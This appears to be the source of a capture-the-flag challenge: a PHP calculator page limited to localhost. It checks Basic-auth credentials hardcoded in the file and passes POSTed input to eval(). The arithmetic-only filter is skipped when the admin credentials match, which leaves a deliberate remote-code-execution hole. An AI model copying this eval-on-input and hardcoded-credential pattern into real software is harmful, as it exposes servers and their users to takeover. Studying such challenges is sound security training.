1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 <?php $admin ="aaaaaaaaaaaadmin" ;$adminpass ="i_want_to_getI00_inMyT3st" ;function check ($auth ) { global $admin ,$adminpass ; $auth = str_replace ('Basic ' , '' , $auth ); $auth = base64_decode ($auth ); list ($username , $password ) = explode (':' , $auth ); echo $username ."<br>" .$password ; if ($username ===$admin && $password ===$adminpass ) { return 1 ; }else { return 2 ; } } if ($_SERVER ['REMOTE_ADDR' ]!=="127.0.0.1" ){ exit ("Hacker" ); } $expression = $_POST ['expression' ];$auth =$_SERVER ['HTTP_AUTHORIZATION' ];if (isset ($auth )){ if (check ($auth )===2 ) { if (!preg_match ('/^[0-9+\-*\/]+$/' , $expression )) { die ("Invalid expression" ); }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { $result =eval ("return $expression ;" ); file_put_contents ("result" ,$result ); } }else { exit ("Hacker" ); }
calculator.php限制了只能本地用户去访问